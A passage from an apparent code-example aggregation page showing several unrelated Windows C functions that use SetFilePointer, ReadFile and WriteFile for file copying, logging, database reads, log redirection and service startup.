    if (hFileSrc == INVALID_HANDLE_VALUE)
    {
        ConOutResPrintf(STRING_COPY_ERROR1, source);
        nErrorLevel = 1;
        return 0;
    }

    TRACE ("getting time\n");

    GetFileTime (hFileSrc, &srctime, NULL, NULL);

    TRACE ("copy: flags has %s\n",
        lpdwFlags & COPY_ASCII ? "ASCII" : "BINARY");

    /* Check to see if /D or /Z are true, if so we need a middle
       man to copy the file too to allow us to use CopyFileEx later */
    if (lpdwFlags & COPY_DECRYPT)
    {
        GetEnvironmentVariable(_T("TEMP"),TempSrc,MAX_PATH);
        _tcscat(TempSrc,_T("\\"));
        FileName = _tcsrchr(source,_T('\\'));
        FileName++;
        _tcscat(TempSrc,FileName);
        /* This is needed to be on the end to prevent an error
           if the user did "copy /D /Z foo bar then it would be copied
           too %TEMP%\foo here and when %TEMP%\foo when it sets it up
           for COPY_RESTART, this would mean it is copying to itself
           which would error when it tried to open the handles for ReadFile
           and WriteFile */
        _tcscat(TempSrc,_T(".decrypt"));
        if (!CopyFileEx(source, TempSrc, NULL, NULL, FALSE, COPY_FILE_ALLOW_DECRYPTED_DESTINATION))
        {
            CloseHandle (hFileSrc);
            nErrorLevel = 1;
            return 0;
        }
        _tcscpy(source, TempSrc);
    }


    if (lpdwFlags & COPY_RESTART)
    {
        _tcscpy(TrueDest, dest);
        GetEnvironmentVariable(_T("TEMP"),dest,MAX_PATH);
        _tcscat(dest,_T("\\"));
        FileName = _tcsrchr(TrueDest,_T('\\'));
        FileName++;
        _tcscat(dest,FileName);
    }


    if (!IsExistingFile (dest))
    {
        TRACE ("opening/creating\n");
        hFileDest =
            CreateFile (dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    }
    else if (!append)
    {
        TRACE ("SetFileAttributes (%s, FILE_ATTRIBUTE_NORMAL);\n", debugstr_aw(dest));
        SetFileAttributes (dest, FILE_ATTRIBUTE_NORMAL);

        TRACE ("DeleteFile (%s);\n", debugstr_aw(dest));
        DeleteFile (dest);

        hFileDest =	CreateFile (dest, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
    }
    else
    {
        LONG lFilePosHigh = 0;

        if (!_tcscmp (dest, source))
        {
            CloseHandle (hFileSrc);
            return 0;
        }

        TRACE ("opening/appending\n");
        SetFileAttributes (dest, FILE_ATTRIBUTE_NORMAL);

        hFileDest =
            CreateFile (dest, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

        /* Move to end of file to start writing */
        SetFilePointer (hFileDest, 0, &lFilePosHigh,FILE_END);
    }


    if (hFileDest == INVALID_HANDLE_VALUE)
    {
        CloseHandle (hFileSrc);
        ConOutResPuts(STRING_ERROR_PATH_NOT_FOUND);
        nErrorLevel = 1;
        return 0;
    }

    /* A page-aligned buffer usually give more speed */
    buffer = VirtualAlloc(NULL, BUFF_SIZE, MEM_COMMIT, PAGE_READWRITE);
    if (buffer == NULL)
    {
        CloseHandle (hFileDest);
        CloseHandle (hFileSrc);
        ConOutResPuts(STRING_ERROR_OUT_OF_MEMORY);
        nErrorLevel = 1;
        return 0;
    }

    do
    {
        ReadFile (hFileSrc, buffer, BUFF_SIZE, &dwRead, NULL);
        if (lpdwFlags & COPY_ASCII)
        {
            LPBYTE pEof = memchr(buffer, 0x1A, dwRead);
            if (pEof != NULL)
            {
                bEof = TRUE;
                dwRead = pEof-buffer+1;
                break;
            }
        }

        if (dwRead == 0)
            break;

        WriteFile (hFileDest, buffer, dwRead, &dwWritten, NULL);
        if (dwWritten != dwRead || CheckCtrlBreak(BREAK_INPUT))
        {
            ConOutResPuts(STRING_COPY_ERROR3);

            VirtualFree (buffer, 0, MEM_RELEASE);
            CloseHandle (hFileDest);
            CloseHandle (hFileSrc);
            nErrorLevel = 1;
            return 0;
        }
    }
    while (!bEof);

    TRACE ("setting time\n");
    SetFileTime (hFileDest, &srctime, NULL, NULL);

    if ((lpdwFlags & COPY_ASCII) && !bEof)
    {
        /* we're dealing with ASCII files! */
        buffer[0] = 0x1A;
        TRACE ("appending ^Z\n");
        WriteFile (hFileDest, buffer, sizeof(CHAR), &dwWritten, NULL);
    }

    VirtualFree (buffer, 0, MEM_RELEASE);
    CloseHandle (hFileDest);
    CloseHandle (hFileSrc);

    TRACE ("setting mode\n");
    SetFileAttributes (dest, dwAttrib);

    /* Now finish off the copy if needed with CopyFileEx */
    if (lpdwFlags & COPY_RESTART)
    {
        if (!CopyFileEx(dest, TrueDest, NULL, NULL, FALSE, COPY_FILE_RESTARTABLE))
        {
            nErrorLevel = 1;
            DeleteFile(dest);
            return 0;
        }
        /* Take care of file in the temp folder */
        DeleteFile(dest);

    }

    if (lpdwFlags & COPY_DECRYPT)
        DeleteFile(TempSrc);

    return 1;
}
void ADIOI_NTFS_ReadContig(ADIO_File fd, void *buf, int count,
                           MPI_Datatype datatype, int file_ptr_type,
                           ADIO_Offset offset, ADIO_Status *status,
                           int *error_code)
{
    LONG dwTemp;
    DWORD dwNumRead = 0;
    int err=-1, datatype_size, len;
    static char myname[] = "ADIOI_NTFS_ReadContig";
    OVERLAPPED *pOvl;

    MPI_Type_size(datatype, &datatype_size);
    len = datatype_size * count;

    pOvl = (OVERLAPPED *) ADIOI_Calloc(sizeof(OVERLAPPED), 1);
    if (pOvl == NULL)
    {
        *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                           myname, __LINE__, MPI_ERR_IO,
                                           "**nomem", "**nomem %s", "OVERLAPPED");
        return;
    }
    pOvl->hEvent = CreateEvent(NULL, TRUE, TRUE, NULL);
    if (pOvl->hEvent == NULL)
    {
        err = GetLastError();
        *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                           myname, __LINE__, MPI_ERR_IO,
                                           "**io", "**io %s", ADIOI_NTFS_Strerror(err));
        ADIOI_Free(pOvl);
        return;
    }
    pOvl->Offset = DWORDLOW(offset);
    pOvl->OffsetHigh = DWORDHIGH(offset);

    if (file_ptr_type == ADIO_EXPLICIT_OFFSET)
    {
        if (fd->fp_sys_posn != offset)
        {
            dwTemp = DWORDHIGH(offset);
            if (SetFilePointer(fd->fd_sys, DWORDLOW(offset), &dwTemp, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
            {
                err = GetLastError();
                if (err != NO_ERROR)
                {
                    *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                                       myname, __LINE__, MPI_ERR_IO,
                                                       "**io", "**io %s", ADIOI_NTFS_Strerror(err));
                    CloseHandle(pOvl->hEvent);
                    ADIOI_Free(pOvl);
                    return;
                }
            }
        }
        /*
        {
            ADIO_Fcntl_t fcntl_struct;
            int error_code;
            ADIO_Fcntl(fd, ADIO_FCNTL_GET_FSIZE, &fcntl_struct, &error_code);
            printf("File size b: %d\n", fcntl_struct.fsize);
        }
        printf("ReadFile(%d bytes)\n", len);fflush(stdout);
        */
        err = ReadFile(fd->fd_sys, buf, len, &dwNumRead, pOvl);
        /* --BEGIN ERROR HANDLING-- */
        if (err == FALSE)
        {
            err = GetLastError();
            switch (err)
            {
            case ERROR_IO_PENDING:
                break;
            case ERROR_HANDLE_EOF:
                /*printf("EOF error\n");fflush(stdout);*/
                SetEvent(pOvl->hEvent);
                break;
            default:
                *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                                   myname, __LINE__, MPI_ERR_IO,
                                                   "**io",
                                                   "**io %s", ADIOI_NTFS_Strerror(err));
                CloseHandle(pOvl->hEvent);
                ADIOI_Free(pOvl);
                return;
            }
        }
        /* --END ERROR HANDLING-- */
        err = GetOverlappedResult(fd->fd_sys, pOvl, &dwNumRead, TRUE);
        /* --BEGIN ERROR HANDLING-- */
        if (err == FALSE)
        {
            err = GetLastError();
            if (err != ERROR_HANDLE_EOF) /* Ignore EOF errors */
            {
                *error_code = MPIO_Err_create_code(MPI_SUCCESS,
                                                   MPIR_ERR_RECOVERABLE, myname,
                                                   __LINE__, MPI_ERR_IO, "**io",
                                                   "**io %s", ADIOI_NTFS_Strerror(err));
                CloseHandle(pOvl->hEvent);
                ADIOI_Free(pOvl);
                return;
            }
        }
        /* --END ERROR HANDLING-- */
        if (!CloseHandle(pOvl->hEvent))
        {
            err = GetLastError();
            *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                               myname, __LINE__, MPI_ERR_IO,
                                               "**io", "**io %s", ADIOI_NTFS_Strerror(err));
            CloseHandle(pOvl->hEvent);
            ADIOI_Free(pOvl);
            return;
        }
        ADIOI_Free(pOvl);

        fd->fp_sys_posn = offset + (ADIO_Offset)dwNumRead;
        /* individual file pointer not updated */
    }
    else
    {
        /* read from curr. location of ind. file pointer */
        if (fd->fp_sys_posn != fd->fp_ind)
        {
            dwTemp = DWORDHIGH(fd->fp_ind);
            if (SetFilePointer(fd->fd_sys, DWORDLOW(fd->fp_ind), &dwTemp, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
            {
                err = GetLastError();
                if (err != NO_ERROR)
                {
                    *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                                       myname, __LINE__, MPI_ERR_IO,
                                                       "**io", "**io %s", ADIOI_NTFS_Strerror(err));
                    CloseHandle(pOvl->hEvent);
                    ADIOI_Free(pOvl);
                    return;
                }
            }
        }
        /*
        {
            ADIO_Fcntl_t fcntl_struct;
            int error_code;
            ADIO_Fcntl(fd, ADIO_FCNTL_GET_FSIZE, &fcntl_struct, &error_code);
            printf("File size c: %d\n", fcntl_struct.fsize);
        }
        printf("ReadFile(%d bytes)\n", len);fflush(stdout);
        */
        err = ReadFile(fd->fd_sys, buf, len, &dwNumRead, pOvl);
        /* --BEGIN ERROR HANDLING-- */
        if (err == FALSE)
        {
            err = GetLastError();
            switch (err)
            {
            case ERROR_IO_PENDING:
                break;
            case ERROR_HANDLE_EOF:
                /*printf("EOF error\n");fflush(stdout);*/
                SetEvent(pOvl->hEvent);
                break;
            default:
                *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                                   myname, __LINE__, MPI_ERR_IO,
                                                   "**io",
                                                   "**io %s", ADIOI_NTFS_Strerror(err));
                CloseHandle(pOvl->hEvent);
                ADIOI_Free(pOvl);
                return;
            }
        }
        /* --END ERROR HANDLING-- */
        err = GetOverlappedResult(fd->fd_sys, pOvl, &dwNumRead, TRUE);
        /* --BEGIN ERROR HANDLING-- */
        if (err == FALSE)
        {
            err = GetLastError();
            if (err != ERROR_HANDLE_EOF) /* Ignore EOF errors */
            {
                *error_code = MPIO_Err_create_code(MPI_SUCCESS,
                                                   MPIR_ERR_RECOVERABLE, myname,
                                                   __LINE__, MPI_ERR_IO, "**io",
                                                   "**io %s", ADIOI_NTFS_Strerror(err));
                CloseHandle(pOvl->hEvent);
                ADIOI_Free(pOvl);
                return;
            }
        }
        /* --END ERROR HANDLING-- */
        if (!CloseHandle(pOvl->hEvent))
        {
            err = GetLastError();
            *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                               myname, __LINE__, MPI_ERR_IO,
                                               "**io", "**io %s", ADIOI_NTFS_Strerror(err));
            ADIOI_Free(pOvl);
            return;
        }
        ADIOI_Free(pOvl);

        fd->fp_ind = fd->fp_ind + (ADIO_Offset)dwNumRead;
        fd->fp_sys_posn = fd->fp_ind;
    }

#ifdef HAVE_STATUS_SET_BYTES
    if (err != FALSE)
    {
        MPIR_Status_set_bytes(status, datatype, dwNumRead);
    }
#endif

    /* --BEGIN ERROR HANDLING-- */
    if (err == FALSE)
    {
        err = GetLastError();
        *error_code = MPIO_Err_create_code(MPI_SUCCESS, MPIR_ERR_RECOVERABLE,
                                           myname, __LINE__, MPI_ERR_IO,
                                           "**io",
                                           "**io %s", ADIOI_NTFS_Strerror(err));
        return;
    }
    /* --END ERROR HANDLING-- */
    *error_code = MPI_SUCCESS;
}
Пример #12
0
/*!
	ツリーのファイルにアイテム追加・追加したいファイルのパスを受け取る
	@param[in]	hWnd	ウインドウハンドル
	@param[in]	ptFile	追加したいファイルのフルパス
*/
HRESULT AacItemAdding( HWND hWnd, LPTSTR ptFile )
{
	HANDLE	hFile;

	LPTSTR		ptBuffer;//, ptExten;
	LPSTR		pcOutput;
//	TCHAR		atExBuf[10];
	CHAR		acCheck[6];
	DWORD		readed, wrote;
	UINT_PTR	cchSize, cchSep, cbSize;
	ITEMADDINFO	stIaInfo;	

	ZeroMemory( &stIaInfo, sizeof(ITEMADDINFO) );

	ZeroMemory( acCheck, sizeof(acCheck) );

	//	拡張子確認
	if( FileExtensionCheck( ptFile, TEXT(".ast") ) ){	stIaInfo.bType =  0;	}
	else{	stIaInfo.bType =  1;	}

	if( DialogBoxParam( GetModuleHandle(NULL), MAKEINTRESOURCE(IDD_MAA_IADD_DLG), hWnd, AaItemAddDlgProc, (LPARAM)(&stIaInfo) ) )
	{
		if( stIaInfo.ptContent )	//	中身が有効なら処理する
		{
			hFile = CreateFile( ptFile, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
			if( INVALID_HANDLE_VALUE != hFile )
			{
				//	ファイルはSJIS型であると見なす
				SetFilePointer( hFile, -2, NULL, FILE_END );	//	末尾の状況を確認
				ReadFile( hFile, acCheck, 6, &readed, NULL );	//	この時点でファイル末尾にくる
				SetFilePointer( hFile,  0, NULL, FILE_END );	//	念のため末尾
				if( acCheck[0] != '\r' || acCheck[1] != '\n' )	//	末尾が改行じゃなかったら
				{
					acCheck[0] = '\r';	acCheck[1] = '\n';	acCheck[2] = NULL;
					WriteFile( hFile, acCheck, 2, &wrote, NULL );	//	改行書いておく
				}

				StringCchLength( stIaInfo.atSep, MAX_PATH, &cchSep );
				StringCchLength( stIaInfo.ptContent, STRSAFE_MAX_CCH, &cchSize );
				cchSize += (cchSep+6);
				ptBuffer = (LPTSTR)malloc( cchSize * sizeof(TCHAR) );
				ZeroMemory( ptBuffer, cchSize * sizeof(TCHAR) );

				StringCchPrintf( ptBuffer, cchSize, TEXT("%s%s\r\n"), stIaInfo.atSep, stIaInfo.ptContent );
				pcOutput = SjisEncodeAlloc( ptBuffer );
				cbSize = strlen( pcOutput );

				WriteFile( hFile , pcOutput, cbSize, &wrote, NULL );	//	内容書き込む

				SetEndOfFile( hFile );
				CloseHandle( hFile );
			}

			FREE(stIaInfo.ptContent);
		}

		//	もしメインで開けていたらロード・ていうかツリー側で追加っておかしくね?
	}

	return S_OK;
}
Пример #13
0
BOOL WINAPI LSLog(int nLevel, LPCSTR pszModule, LPCSTR pszMessage)
{
#if defined(LS_COMPAT_LOGGING)
    char szLogFile[MAX_PATH] = { 0 };
    
    int nLogLevel = GetRCInt("LSLogLevel", 2);
    
    // Should this message be logged?
    if (!pszModule || !pszMessage ||
        (nLevel > nLogLevel) || (nLevel < 1) || (nLevel > 4))
    {
        return FALSE;
    }
    
    // Has a log file been assigned?
    if (!GetRCString("LSLogFile", szLogFile, NULL, MAX_PATH))
    {
        return FALSE;
    }
    
    // If so, open it
    HANDLE hLogFile = CreateFile(szLogFile,
        GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_ALWAYS,
        FILE_ATTRIBUTE_NORMAL,
        NULL);
    
    // Did open succeed?
    if (hLogFile == INVALID_HANDLE_VALUE)
    {
        return FALSE;
    }
    
    // Move to the end of the file
    SetFilePointer(hLogFile, 0, NULL, FILE_END);
    
    // Get timestamp
    SYSTEMTIME st = { 0 };
    GetLocalTime(&st);
    
    // Add timestamp and module name to message
    LPCSTR rszLevel[4] = { "Error", "Warning", "Notice", "Debug" };
    
    TCHAR szLine[MAX_LINE_LENGTH] = { 0 };
    size_t cbLine = sizeof(szLine);
    size_t cbRemaining = 0;
    
    if (SUCCEEDED(StringCbPrintfEx(szLine, cbLine, NULL, &cbRemaining,
        STRSAFE_IGNORE_NULLS, "%02d-%02d-%04d %02d:%02d:%02d - %s - %s: %s\r\n",
        st.wMonth, st.wDay, st.wYear, st.wHour, st.wMinute, st.wSecond,
        rszLevel[nLevel-1], pszModule, pszMessage)))
    {
        size_t cbToWrite = cbLine - cbRemaining;
        ASSERT(cbToWrite <= MAXDWORD);

        // Write it to the log file
        DWORD dwCount = 0;
        WriteFile(hLogFile, szLine, (DWORD)cbToWrite, &dwCount, NULL);
    }
    
    // Close the log
    CloseHandle(hLogFile);
#endif // LS_COMPAT_LOGGING
    
    return TRUE;
}
Пример #14
0
int fseek(FILE *fp, int offset, int set) 
{
	return SetFilePointer((HANDLE)fp, offset, 0, set);
}
Пример #15
0
/**
 * Redirects the output streams to point to the log file with the given path.
 *
 * @param path specifies the location of log file, may start with ~
 * @param append should be nonzero if it should not truncate the log file.
 */
static int setup_logging(const char *path, int append) {
#ifdef _WIN32
  // Does it start with a tilde?  Perform tilde expansion if so.
  wchar_t pathw[MAX_PATH * 2];
  size_t offset = 0;
  if (path[0] == '~' && (path[1] == 0 || path[1] == '/' || path[1] == '\\')) {
    // Strip off the tilde.
    ++path;

    // Get the home directory path for the current user.
    if (!SUCCEEDED(SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, 0, pathw))) {
      return 0;
    }
    offset = wcslen(pathw);
  }

  // We need to convert the rest of the path from UTF-8 to UTF-16.
  if (MultiByteToWideChar(CP_UTF8, 0, path, -1, pathw + offset,
                          (int)(_countof(pathw) - offset)) == 0) {
    return 0;
  }

  DWORD access = append ? FILE_APPEND_DATA : (GENERIC_READ | GENERIC_WRITE);
  int creation = append ? OPEN_ALWAYS : CREATE_ALWAYS;
  HANDLE handle = CreateFileW(pathw, access, FILE_SHARE_DELETE | FILE_SHARE_READ,
                              NULL, creation, FILE_ATTRIBUTE_NORMAL, NULL);

  if (handle == INVALID_HANDLE_VALUE) {
    // Make the parent directories first.
    mkdir_parent(pathw);
    handle = CreateFileW(pathw, access, FILE_SHARE_DELETE | FILE_SHARE_READ,
                         NULL, creation, FILE_ATTRIBUTE_NORMAL, NULL);
  }

  if (handle == INVALID_HANDLE_VALUE) {
    return 0;
  }

  if (append) {
    SetFilePointer(handle, 0, NULL, FILE_END);
  }

  SetStdHandle(STD_OUTPUT_HANDLE, handle);
  SetStdHandle(STD_ERROR_HANDLE, handle);

  // If we are running under the UCRT in a GUI application, we can't be sure
  // that we have valid fds for stdout and stderr, so we have to set them up.
  // One way to do this is to reopen them to something silly (like NUL).
  if (_fileno(stdout) < 0) {
    _close(1);
    _wfreopen(L"\\\\.\\NUL", L"w", stdout);
  }

  if (_fileno(stderr) < 0) {
    _close(2);
    _wfreopen(L"\\\\.\\NUL", L"w", stderr);
  }

  // Now replace the stdout and stderr file descriptors with one pointing to
  // our desired handle.
  int fd = _open_osfhandle((intptr_t)handle, _O_WRONLY | _O_TEXT | (append ? _O_APPEND : 0));
  _dup2(fd, _fileno(stdout));
  _dup2(fd, _fileno(stderr));
  _close(fd);

  return 1;
#else
  // Does it start with a tilde?  Perform tilde expansion if so.
  char buffer[PATH_MAX * 2];
  size_t offset = 0;
  if (path[0] == '~' && (path[1] == 0 || path[1] == '/')) {
    // Strip off the tilde.
    ++path;

    // Get the home directory path for the current user.
    const char *home_dir = getenv("HOME");
    if (home_dir == NULL) {
      home_dir = getpwuid(getuid())->pw_dir;
    }
    offset = strlen(home_dir);
    assert(offset < sizeof(buffer));
    strncpy(buffer, home_dir, sizeof(buffer));
  }

  // Copy over the rest of the path.
  strcpy(buffer + offset, path);

  mode_t mode = O_CREAT | O_WRONLY | (append ? O_APPEND : O_TRUNC);
  int fd = open(buffer, mode, 0644);
  if (fd == -1) {
    // Make the parent directories first.
    mkdir_parent(buffer);
    fd = open(buffer, mode, 0644);
  }

  if (fd == -1) {
    perror(buffer);
    return 0;
  }

  fflush(stdout);
  fflush(stderr);

  dup2(fd, 1);
  dup2(fd, 2);

  close(fd);
  return 1;
#endif
}
Пример #16
0
*/
static int winRead(
  sqlite3_file *id,          /* File to read from */
  void *pBuf,                /* Write content into this buffer */
  int amt,                   /* Number of bytes to read */
  sqlite3_int64 offset       /* Begin reading at this offset */
){
  LONG upperBits = (LONG)((offset>>32) & 0x7fffffff);
  LONG lowerBits = (LONG)(offset & 0xffffffff);
  DWORD rc;
  DWORD got;
  winFile *pFile = (winFile*)id;
  assert( id!=0 );
  SimulateIOError(return SQLITE_IOERR_READ);
  OSTRACE3("READ %d lock=%d\n", pFile->h, pFile->locktype);
  rc = SetFilePointer(pFile->h, lowerBits, &upperBits, FILE_BEGIN);
  if( rc==INVALID_SET_FILE_POINTER && GetLastError()!=NO_ERROR ){
    return SQLITE_FULL;
  }
  if( !ReadFile(pFile->h, pBuf, amt, &got, 0) ){
    return SQLITE_IOERR_READ;
  }
  if( got==(DWORD)amt ){
    return SQLITE_OK;
  }else{
    /* Unread parts of the buffer must be zero-filled */
    memset(&((char*)pBuf)[got], 0, amt-got);
    return SQLITE_IOERR_SHORT_READ;
  }
}
Пример #17
0
VOID ServiceStart (DWORD dwArgc, LPTSTR *lpszArgv)
{
  char exe_path[MAX_PATH];
  char config_dir[MAX_PATH];
  char ext_string[16];
  char log_dir[MAX_PATH];
  char priority_string[64];
  char append_string[2];

  DWORD priority;
  bool append;

  ResetError ();

  if (!ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 3000))
    {
      MSG (M_ERR, "ReportStatusToSCMgr #1 failed");
      goto finish;
    }

  /*
   * Create our exit event
   */
  exit_event = create_event (EXIT_EVENT_NAME, false, false, true);
  if (!exit_event)
    {
      MSG (M_ERR, "CreateEvent failed");
      goto finish;
    }

  /*
   * If exit event is already signaled, it means we were not
   * shut down properly.
   */
  if (WaitForSingleObject (exit_event, 0) != WAIT_TIMEOUT)
    {
      MSG (M_ERR, "Exit event is already signaled -- we were not shut down properly");
      goto finish;
    }

  if (!ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 3000))
    {
      MSG (M_ERR, "ReportStatusToSCMgr #2 failed");
      goto finish;
    }

  /*
   * Read info from registry in key HKLM\SOFTWARE\OpenVPN
   */
  {
    HKEY openvpn_key;
    LONG status;
    DWORD len;
    DWORD type;

    static const char error_format_str[] =
      "Error querying registry key of type REG_SZ: HKLM\\" REG_KEY "\\%s";

    static const char error_format_dword[] =
      "Error querying registry key of type REG_DWORD: HKLM\\" REG_KEY "\\%s";

    status = RegOpenKeyEx(
			  HKEY_LOCAL_MACHINE,
			  REG_KEY,
			  0,
			  KEY_READ,
			  &openvpn_key);

    if (status != ERROR_SUCCESS)
      {
	SetLastError (status);
	MSG (M_SYSERR, "Registry key HKLM\\" REG_KEY " not found");
	goto finish;
      }

    /* get path to openvpn.exe */
    QUERY_REG_STRING ("exe_path", exe_path);

    /* get path to configuration directory */
    QUERY_REG_STRING ("config_dir", config_dir);

    /* get extension on configuration files */
    QUERY_REG_STRING ("config_ext", ext_string);

    /* get path to log directory */
    QUERY_REG_STRING ("log_dir", log_dir);

    /* get priority for spawned OpenVPN subprocesses */
    QUERY_REG_STRING ("priority", priority_string);

    /* should we truncate or append to logfile? */
    QUERY_REG_STRING ("log_append", append_string);

    RegCloseKey (openvpn_key);
  }

  /* set process priority */
  priority = NORMAL_PRIORITY_CLASS;
  if (!_stricmp (priority_string, "IDLE_PRIORITY_CLASS"))
    priority = IDLE_PRIORITY_CLASS;
  else if (!_stricmp (priority_string, "BELOW_NORMAL_PRIORITY_CLASS"))
    priority = BELOW_NORMAL_PRIORITY_CLASS;
  else if (!_stricmp (priority_string, "NORMAL_PRIORITY_CLASS"))
    priority = NORMAL_PRIORITY_CLASS;
  else if (!_stricmp (priority_string, "ABOVE_NORMAL_PRIORITY_CLASS"))
    priority = ABOVE_NORMAL_PRIORITY_CLASS;
  else if (!_stricmp (priority_string, "HIGH_PRIORITY_CLASS"))
    priority = HIGH_PRIORITY_CLASS;
  else
    {
      MSG (M_ERR, "Unknown priority name: %s", priority_string);
      goto finish;
    }

  /* set log file append/truncate flag */
  append = false;
  if (append_string[0] == '0')
    append = false;
  else if (append_string[0] == '1')
    append = true;
  else
    {
      MSG (M_ERR, "Log file append flag (given as '%s') must be '0' or '1'", append_string);
      goto finish;
    }

  /*
   * Instantiate an OpenVPN process for each configuration
   * file found.
   */
  {
    WIN32_FIND_DATA find_obj;
    HANDLE find_handle;
    BOOL more_files;
    char find_string[MAX_PATH];

    openvpn_snprintf (find_string, MAX_PATH, "%s\\*", config_dir);

    find_handle = FindFirstFile (find_string, &find_obj);
    if (find_handle == INVALID_HANDLE_VALUE)
      {
        MSG (M_ERR, "Cannot get configuration file list using: %s", find_string);
	goto finish;
      }

    /*
     * Loop over each config file
     */
    do {
      HANDLE log_handle = NULL;
      STARTUPINFO start_info;
      PROCESS_INFORMATION proc_info;
      struct security_attributes sa;
      char log_file[MAX_PATH];
      char log_path[MAX_PATH];
      char command_line[256];

      CLEAR (start_info);
      CLEAR (proc_info);
      CLEAR (sa);

      if (!ReportStatusToSCMgr(SERVICE_START_PENDING, NO_ERROR, 3000))
	{
	  MSG (M_ERR, "ReportStatusToSCMgr #3 failed");
	  FindClose (find_handle);
	  goto finish;
	}

      /* does file have the correct type and extension? */
      if (match (&find_obj, ext_string))
	{
	  /* get log file pathname */
	  if (!modext (log_file, sizeof (log_file), find_obj.cFileName, "log"))
	    {
	      MSG (M_ERR, "Cannot construct logfile name based on: %s", find_obj.cFileName);
	      FindClose (find_handle);
	      goto finish;
	    }
	  openvpn_snprintf (log_path, sizeof(log_path),
                            "%s\\%s", log_dir, log_file);

	  /* construct command line */
	  openvpn_snprintf (command_line, sizeof(command_line), PACKAGE " --service %s 1 --config \"%s\"",
		      EXIT_EVENT_NAME,
		      find_obj.cFileName);

	  /* Make security attributes struct for logfile handle so it can
	     be inherited. */
	  if (!init_security_attributes_allow_all (&sa))
	    {
	      MSG (M_SYSERR, "InitializeSecurityDescriptor start_" PACKAGE " failed");
	      goto finish;
	    }

	  /* open logfile as stdout/stderr for soon-to-be-spawned subprocess */
	  log_handle = CreateFile (log_path,
				   GENERIC_WRITE,
				   FILE_SHARE_READ,
				   &sa.sa,
				   append ? OPEN_ALWAYS : CREATE_ALWAYS,
				   FILE_ATTRIBUTE_NORMAL,
				   NULL);

	  if (log_handle == INVALID_HANDLE_VALUE)
	    {
	      MSG (M_SYSERR, "Cannot open logfile: %s", log_path);
	      FindClose (find_handle);
	      goto finish;
	    }

	  /* append to logfile? */
	  if (append)
	    {
	      if (SetFilePointer (log_handle, 0, NULL, FILE_END) == INVALID_SET_FILE_POINTER)
		{
		  MSG (M_SYSERR, "Cannot seek to end of logfile: %s", log_path);
		  FindClose (find_handle);
		  goto finish;
		}
	    }

	  /* fill in STARTUPINFO struct */
	  GetStartupInfo(&start_info);
	  start_info.cb = sizeof(start_info);
	  start_info.dwFlags = STARTF_USESTDHANDLES|STARTF_USESHOWWINDOW;
	  start_info.wShowWindow = SW_HIDE;
	  start_info.hStdInput = GetStdHandle(STD_INPUT_HANDLE);
	  start_info.hStdOutput = start_info.hStdError = log_handle;

	  /* create an OpenVPN process for one config file */
	  if (!CreateProcess(exe_path,
			     command_line,
			     NULL,
			     NULL,
			     TRUE,
			     priority | CREATE_NEW_CONSOLE,
			     NULL,
			     config_dir,
			     &start_info,
			     &proc_info))
	    {
	      MSG (M_SYSERR, "CreateProcess failed, exe='%s' cmdline='%s' dir='%s'",
		   exe_path,
		   command_line,
		   config_dir);

	      FindClose (find_handle);
	      CloseHandle (log_handle);
	      goto finish;
	    }

	  /* close unneeded handles */
	  Sleep (1000); /* try to prevent race if we close logfile
			   handle before child process DUPs it */
	  if (!CloseHandle (proc_info.hProcess)
	      || !CloseHandle (proc_info.hThread)
	      || !CloseHandle (log_handle))
	    {
	      MSG (M_SYSERR, "CloseHandle failed");
	      goto finish;
	    }
	}

      /* more files to process? */
      more_files = FindNextFile (find_handle, &find_obj);

    } while (more_files);
    
    FindClose (find_handle);
  }

  /* we are now fully started */
  if (!ReportStatusToSCMgr(SERVICE_RUNNING, NO_ERROR, 0))
    {
      MSG (M_ERR, "ReportStatusToSCMgr SERVICE_RUNNING failed");
      goto finish;
    }

  /* wait for our shutdown signal */
  if (WaitForSingleObject (exit_event, INFINITE) != WAIT_OBJECT_0)
    {
      MSG (M_ERR, "wait for shutdown signal failed");
    }

 finish:
  ServiceStop ();
  if (exit_event)
    CloseHandle (exit_event);
}
Пример #18
0
APR_DECLARE(apr_status_t) apr_file_seek(apr_file_t *thefile, apr_seek_where_t where, apr_off_t *offset)
{
    apr_finfo_t finfo;
    apr_status_t rc = APR_SUCCESS;

    thefile->eof_hit = 0;

    if (thefile->buffered) {
        switch (where) {
            case APR_SET:
                rc = setptr(thefile, *offset);
                break;

            case APR_CUR:
                rc = setptr(thefile, thefile->filePtr - thefile->dataRead 
                                      + thefile->bufpos + *offset);
                break;

            case APR_END:
                rc = apr_file_info_get(&finfo, APR_FINFO_SIZE, thefile);
                if (rc == APR_SUCCESS)
                    rc = setptr(thefile, finfo.size + *offset);
                break;

            default:
                return APR_EINVAL;
        }

        *offset = thefile->filePtr - thefile->dataRead + thefile->bufpos;
        return rc;
    }
    /* A file opened with APR_FOPEN_XTHREAD has been opened for overlapped i/o.
     * APR must explicitly track the file pointer in this case.
     */
    else if (thefile->pOverlapped || thefile->flags & APR_FOPEN_XTHREAD) {
        switch(where) {
            case APR_SET:
                thefile->filePtr = *offset;
                break;
        
            case APR_CUR:
                thefile->filePtr += *offset;
                break;
        
            case APR_END:
                rc = apr_file_info_get(&finfo, APR_FINFO_SIZE, thefile);
                if (rc == APR_SUCCESS && finfo.size + *offset >= 0)
